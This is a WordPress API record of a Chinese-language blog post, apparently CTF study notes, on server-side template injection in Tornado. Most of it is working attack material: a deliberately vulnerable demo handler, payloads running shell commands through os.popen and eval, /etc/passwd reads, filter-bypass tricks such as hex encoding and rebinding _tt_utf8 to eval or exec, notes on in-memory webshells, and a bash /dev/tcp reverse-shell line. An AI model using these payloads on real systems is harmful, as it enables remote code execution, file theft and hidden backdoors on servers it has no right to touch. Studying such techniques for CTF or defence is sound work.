{"id":72,"date":"2026-03-14T22:34:52","date_gmt":"2026-03-14T14:34:52","guid":{"rendered":"http:\/\/47.118.30.30\/?p=72"},"modified":"2026-03-15T11:40:26","modified_gmt":"2026-03-15T03:40:26","slug":"tornado%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/tornado%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5\/","title":{"rendered":"tornado\u6a21\u677f\u6ce8\u5165"},"content":{"rendered":"

tornado\u6a21\u677f\u6ce8\u5165<\/h1>\n

https:\/\/c1oudfl0w0.github.io\/blog\/2023\/12\/06\/tornado%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5\/#SSTI%E6%B3%A8%E5%85%A5<\/a><\/p>\n

\u4e5f\u662fpython\u7684\uff0c\u6240\u4ee5\u8ddfjinjia\u5f88\u591a\u4e00\u6837\u7684\u5730\u65b9\uff0c\u8fd9\u91cc\u4ec5\u5217\u51fa\u4e00\u4e9b\u7279\u522b\u7684<\/p>\n

\u5165\u53e3\uff1a<\/h3>\n

render\u548crender_string<\/p>\n

\u6a21\u677f\u8bed\u6cd5\uff1a<\/h3>\n

{{}}<\/code><\/p>\n

{% apply *function* %}...{% end %}<\/code>\uff08\u7528\u4e8e\u6267\u884c\u51fd\u6570\uff0cfunction<\/code>\u00a0\u662f\u51fd\u6570\u540d\u3002apply<\/code>\u00a0\u5230\u00a0end<\/code>\u00a0\u4e4b\u95f4\u7684\u5185\u5bb9\u662f\u51fd\u6570\u7684\u53c2\u6570\uff09<\/p>\n

\u4f8b\uff1a
\n{% apply import<\/strong>(‘os’).system(‘calc’) %}{% end %}<\/p>\n

{% from * import * %}<\/code>\uff0c{% import *module* %}<\/code>\uff1a\u7b49\u4ef7\u4e8eimport<\/p>\n

{%if%}...{%elif%}...{%else%}...{%end%}<\/code>\uff1a\u7b49\u4ef7\u4e8eif<\/p>\n

loader\u5b9e\u4f8b\uff1a<\/h3>\n

\u5bf9\u4e8e Tornado \u6765\u8bf4\uff0c\u4e00\u65e6\u00a0self.render<\/code>\u00a0\u4e4b\u540e\uff0c\u5c31\u4f1a\u5b9e\u4f8b\u5316\u4e00\u4e2a\u00a0tornado.template.Loader<\/code>\uff0c\u8fd9\u4e2a\u65f6\u5019\u518d\u53bb\u4fee\u6539\u6587\u4ef6\u5185\u5bb9\uff0c\u5b83\u4e5f\u4e0d\u4f1a\u518d\u5b9e\u4f8b\u5316\u4e00\u6b21\u3002\u6240\u4ee5\u8fd9\u91cc\u9700\u8981\u628a\u00a0tornado.web.RequestHandler._template_loaders<\/code>\u00a0\u6e05\u7a7a\u3002\u5426\u5219\u5728\u5229\u7528\u7684\u65f6\u5019\uff0c\u4f1a\u4e00\u76f4\u7528\u7684\u7b2c\u4e00\u4e2a\u4f20\u5165\u7684 payload\u3002<\/p>\n

\u5982\uff1a<\/p>\n

import tornado.ioloop\nimport tornado.web\nfrom tornado.template import Template\n\nclass IndexHandler(tornado.web.RequestHandler):\n    def get(self):\n        tornado.web.RequestHandler._template_loaders = {}#\u6e05\u7a7a\u6a21\u677f\u5f15\u64ce\n\n        with open('index.html', 'w') as (f):\n            f.write(self.get_argument('name'))\n\n        self.render('index.html')\n\napp = tornado.web.Application(\n    [('\/', IndexHandler)],\n)\napp.listen(8888, address=\"127.0.0.1\")\ntornado.ioloop.IOLoop.current().start()<\/code><\/pre>\n
\u5229\u7528HTTPServerRequest\uff1a<\/h3>\n
\u7ed5\u8fc7\u5b57\u7b26\u9650\u5236\uff1a<\/p>\n
    \n
  • request.query\uff1a\u5305\u542b get \u53c2\u6570<\/li>\n
  • request.query_arguments\uff1a\u89e3\u6790\u6210\u5b57\u5178\u7684 get \u53c2\u6570\uff0c\u53ef\u7528\u4e8e\u4f20\u9012\u57fa\u7840\u7c7b\u578b\u7684\u503c\uff08\u5b57\u7b26\u4e32\u3001\u6574\u6570\u7b49\uff09<\/li>\n
  • request.arguments\uff1a\u5305\u542b get\u3001post \u53c2\u6570\uff0c\u8fd4\u56de\u6240\u6709\u53c2\u6570\u7ec4\u6210\u7684\u5b57\u5178<\/li>\n
  • request.body\uff1a\u5305\u542b post \u53c2\u6570<\/li>\n
  • request.body_arguments\uff1a\u89e3\u6790\u6210\u5b57\u5178\u7684 post \u53c2\u6570\uff0c\u53ef\u7528\u4e8e\u4f20\u9012\u57fa\u7840\u7c7b\u578b\u7684\u503c\uff08\u5b57\u7b26\u4e32\u3001\u6574\u6570\u7b49\uff09<\/li>\n
  • request.cookies\uff1a\u5c31\u662f cookie<\/li>\n
  • request.files\uff1a\u4e0a\u4f20\u7684\u6587\u4ef6<\/li>\n
  • request.headers\uff1a\u8bf7\u6c42\u5934<\/li>\n
  • request.full_url\uff1a\u5b8c\u6574\u7684 url<\/li>\n
  • request.uri\uff1a\u5305\u542b get \u53c2\u6570\u7684 url\u3002\u6709\u8da3\u7684\u662f\uff0c\u76f4\u63a5\u00a0str(requests)<\/code>\u00a0\u7136\u540e\u5207\u7247\uff0c\u4e5f\u53ef\u4ee5\u83b7\u5f97\u5305\u542b get \u53c2\u6570\u7684 url\u3002\u8fd9\u6837\u7684\u8bdd\u4e0d\u9700\u8981\u00a0.<\/code>\u00a0\u6216\u8005\u00a0getattr<\/code>\u00a0\u4e4b\u7c7b\u7684\u51fd\u6570\u4e86\u3002<\/li>\n
  • request.host\uff1aHost \u5934<\/li>\n
  • request.host_name\uff1aHost \u5934<\/li>\n<\/ul>\n
    \u5229\u7528 Application\uff1a<\/h3>\n
      \n
    • Application.settings\uff1aweb \u670d\u52a1\u7684\u914d\u7f6e\uff0c\u53ef\u80fd\u4f1a\u6cc4\u9732\u4e00\u4e9b\u654f\u611f\u7684\u914d\u7f6e<\/li>\n
    • Application.add_handlers\uff1a\u65b0\u589e\u4e00\u4e2a\u670d\u52a1\u5904\u7406\u903b\u8f91\uff0c\u53ef\u7528\u4e8e\u5236\u4f5c\u5185\u5b58\u9a6c\uff0c\u540e\u9762\u4f1a\u4e00\u8d77\u8bf4<\/li>\n
    • Application.wildcard_router.add_rules\uff1a\u65b0\u589e\u4e00\u4e2a url \u5904\u7406\u903b\u8f91\uff0c\u53ef\u7528\u4e8e\u5236\u4f5c\u5185\u5b58\u9a6c<\/li>\n
    • Application.add_transform\uff1a\u65b0\u589e\u4e00\u4e2a\u8fd4\u56de\u6570\u636e\u7684\u5904\u7406\u903b\u8f91\uff0c\u7406\u8bba\u4e0a\u53ef\u4ee5\u914d\u5408\u54cd\u5e94\u5934\u6765\u641e\u4e2a\u5185\u5b58\u9a6c<\/li>\n<\/ul>\n
      \u5229\u7528 RequestHandler\uff1a<\/h3>\n
      {{handler.get_argument('yu')}}   \/\/\u6bd4\u5982\u4f20\u5165?yu=123\u5219\u8fd4\u56de\u503c\u4e3a123\n{{handler.cookies}}  \/\/\u8fd4\u56decookie\u503c\n{{handler.get_cookie(\"data\")}}  \/\/\u8fd4\u56decookie\u4e2ddata\u7684\u503c\n{{handler.decode_argument('u0066')}}  \/\/\u8fd4\u56def\uff0c\u5176\u4e2du0066\u4e3af\u7684unicode\u7f16\u7801\n{{handler.get_query_argument('yu')}}  \/\/\u6bd4\u5982\u4f20\u5165?yu=123\u5219\u8fd4\u56de\u503c\u4e3a123\n{{handler.settings}}  \/\/\u8fd4\u56de\u4f20\u5165application.settings\u4e2d\u7684\u503c\uff0c\u83b7\u53d6\u7684\u4e00\u822c\u5c31\u662f\u73af\u5883\u53d8\u91cf\n\n\u7ecf\u5178\u53c2\u6570\u9003\u9038\uff1a\nRequestHandler.request.*\n\u5176\u4ed6\u548c request \u4e00\u6837\u7684\u65b9\u6cd5\uff1a\u4f8b\u5982 get_argument \u7b49\u7b49\uff0c\u5c31\u4e0d\u4e00\u4e00\u5217\u4e3e\u4e86\uff0c\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u6587\u6863<\/code><\/pre>\n
      \u5e26\u51fa\u56de\u663e\uff1a<\/h3>\n
        \n
      • RequestHandler.set_cookie\uff1a\u8bbe\u7f6e cookie<\/li>\n
      • RequestHandler.set_header\uff1a\u8bbe\u7f6e\u4e00\u4e2a\u65b0\u7684\u54cd\u5e94\u5934<\/li>\n
      • RequestHandler.redirect\uff1a\u91cd\u5b9a\u5411\uff0c\u53ef\u4ee5\u901a\u8fc7 location \u83b7\u53d6\u56de\u663e<\/li>\n
      • RequestHandler.send_error\uff1a\u53d1\u9001\u9519\u8bef\u7801\u548c\u9519\u8bef\u4fe1\u606f<\/li>\n
      • RequestHandler.write_error\uff1a\u540c\u4e0a\uff0c\u88ab\u00a0send_error<\/code>\u00a0\u8c03\u7528<\/li>\n<\/ul>\n
        payload\uff1a<\/h3>\n
        tornado\u4e2d\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528globals()<\/code>\u51fd\u6570\uff0c\u5e76\u4e14\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u4e00\u4e9bpython\u7684\u521d\u59cb\u65b9\u6cd5\uff0c\u6bd4\u5982import<\/strong>\u3001eval\u3001print\u3001hex\u7b49<\/p>\n
        {{__import__(\"os\").popen(\"calc\").read()}}\n{{eval('__import__(\"os\").popen(\"calc\").read()')}}\n{{globals()['__builtins__']['eval'](\"__import__('os').popen('calc').read()\")}}\n\n\u65e0\u8fc7\u6ee4\uff1a\n1\u3001\u8bfb\u6587\u4ef6\n{% extends \"\/etc\/passwd\" %}\n{% include \"\/etc\/passwd\" %}\n\n2\u3001 \u76f4\u63a5\u4f7f\u7528\u51fd\u6570\n{{__import__(\"os\").popen(\"ls\").read()}}\n{{eval('__import__(\"os\").popen(\"ls\").read()')}}\n\n3\u3001\u5bfc\u5165\u5e93\n{% import os %}{{os.popen(\"ls\").read()}}\n\n4\u3001flask\u4e2d\u7684payload\u5927\u90e8\u5206\u4e5f\u901a\u7528\n{{\"\".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__[\"popen\"]('ls').read()}}\n{{\"\".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ls').read()\")}}\n\n\u5176\u4e2d\"\".__class__.__mro__[-1].__subclasses__()[133]\u4e3a<class 'os._wrap_close'>\u7c7b\n\u7b2c\u4e8c\u4e2a\u4e2d\u7684x\u4e3a\u6709__builtins__\u7684class\n\n5\u3001\u5229\u7528tornado\u7279\u6709\u7684\u5bf9\u8c61\u6216\u8005\u65b9\u6cd5\n{{handler.__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ls').read()\")}}\n{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval'(\"__import__('os').popen('ls').read()\")}}\n\n6\u3001\u5229\u7528tornado\u6a21\u677f\u4e2d\u7684\u4ee3\u7801\u6ce8\u5165\n{% raw \"__import__('os').popen('ls').read()\"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}\n\/\/\u5728 Tornado \u6a21\u677f\u5f15\u64ce\u4e2d\uff0c\u6240\u6709\u8868\u8fbe\u5f0f\u8f93\u51fa\u524d\u4f1a\u7ecf\u8fc7\u4e00\u4e2a\u540d\u4e3a _tt_utf8 \u7684\u51fd\u6570\uff0c\u7528\u4e8e\u5c06\u503c\u8f6c\u6362\u4e3a UTF-8 \u5b57\u7b26\u4e32\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c_tt_utf8 = str\u4f46\u5982\u679c\u4f60\u80fd\u5728\n\/\/\u6a21\u677f\u4e2d\u91cd\u65b0\u8d4b\u503c _tt_utf8 = eval\uff0c\u90a3\u4e48\u540e\u7eed\u7684\u8868\u8fbe\u5f0f\u5c31\u4f1a\u88ab eval() \u6267\u884c\uff0c\u800c\u4e0d\u662f\u88ab\u8f6c\u4e3a\u5b57\u7b26\u4e32\n\n\u6709\u8fc7\u6ee4\uff1a\n\n1.\u8fc7\u6ee4\u4e00\u4e9b\u5173\u952e\u5b57\u5982import\u3001os\u3001popen\u7b49\uff08\u8fc7\u6ee4\u5f15\u53f7\u8be5\u65b9\u6cd5\u540c\u6837\u9002\u7528\uff09\n{{eval(handler.get_argument(request.method))}}\n\u7136\u540e\u770b\u4e0b\u8bf7\u6c42\u65b9\u6cd5\uff0c\u5982\u679c\u662fget\u7684\u8bdd\u5c31\u53ef\u4ee5\u4f20?GET=__import__(\"os\").popen(\"ls\").read()\uff0cpost\u540c\u7406\n2.\u8fc7\u6ee4\u4e86\u62ec\u53f7\u672a\u8fc7\u6ee4\u5f15\u53f7\n{% raw \"x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex70x6fx70x65x6ex28x27x6cx73x27x29x2ex72x65x61x64x28x29\"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}\n3.\u8fc7\u6ee4\u62ec\u53f7\u53ca\u5f15\u53f7\n\u4e0b\u9762\u8fd9\u79cd\u65b9\u6cd5\u65e0\u56de\u663e\uff0c\u9002\u7528\u4e8e\u53cd\u5f39shell\uff0c\u4e3a\u4ec0\u4e48\u7528exec\u4e0d\u7528eval\u5462\uff1f\n\u662f\u56e0\u4e3aeval\u4e0d\u652f\u6301\u591a\u884c\u8bed\u53e5\u3002\n__import__('os').system('bash -i >& \/dev\/tcp\/xxx\/xxx 0>&1')%0a\"\"\"%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a\"\"\"\n4.\u5176\u4ed6\n\u901a\u8fc7\u53c2\u8003\u5176\u4ed6\u5e08\u5085\u7684\u6587\u7ae0\u5b66\u5230\u4e86\u4e0b\u9762\u7684\u65b9\u6cd5\uff08\u4e24\u4e2a\u662f\u4e00\u8d77\u4f7f\u7528\u7684\uff09\n{{handler.application.default_router.add_rules([[\"123\",\"os.po\"+\"pen\",\"a\",\"345\"]])}}\n{{handler.application.default_router.named_rules['345'].target('\/readflag').read()}}\n\/\/\u6784\u9020\u6076\u610f\u53ef\u8c03\u7528\u5bf9\u8c61<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
        tornado\u6a21\u677f\u6ce8\u5165 https:\/\/c1oudfl0w0.github.io\/blog\/2023\/12\/0 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-72","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/72","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=72"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/72\/revisions"}],"predecessor-version":[{"id":97,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/72\/revisions\/97"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=72"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=72"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=72"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}